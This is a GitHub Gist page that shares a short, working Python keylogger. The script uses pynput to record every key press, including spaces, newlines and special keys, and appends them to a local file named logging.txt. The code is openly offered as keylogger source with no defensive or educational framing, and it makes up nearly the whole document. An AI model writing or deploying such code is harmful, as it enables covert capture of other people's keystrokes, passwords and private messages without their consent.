Created
February 11, 2022 01:01
-
-
Save brunotatsuya/b0791fb543e1a90a3cfb650c084c24d1 to your computer and use it in GitHub Desktop.
Simple keylogger made with python
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pynput.keyboard import Listener | |
LOGGING_FILE_PATH = 'logging.txt' | |
def handle_key_event(key): | |
key_data = '' | |
if getattr(key, 'char', None): | |
key_data = key.char | |
else: | |
if (key.name == 'space'): | |
key_data = ' ' | |
elif (key.name == 'enter'): | |
key_data = '\n' | |
else: | |
key_data = f'[{key.name}]' | |
with open(LOGGING_FILE_PATH, "a") as f: | |
f.write(key_data) | |
with Listener(on_press=handle_key_event) as l: | |
l.join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment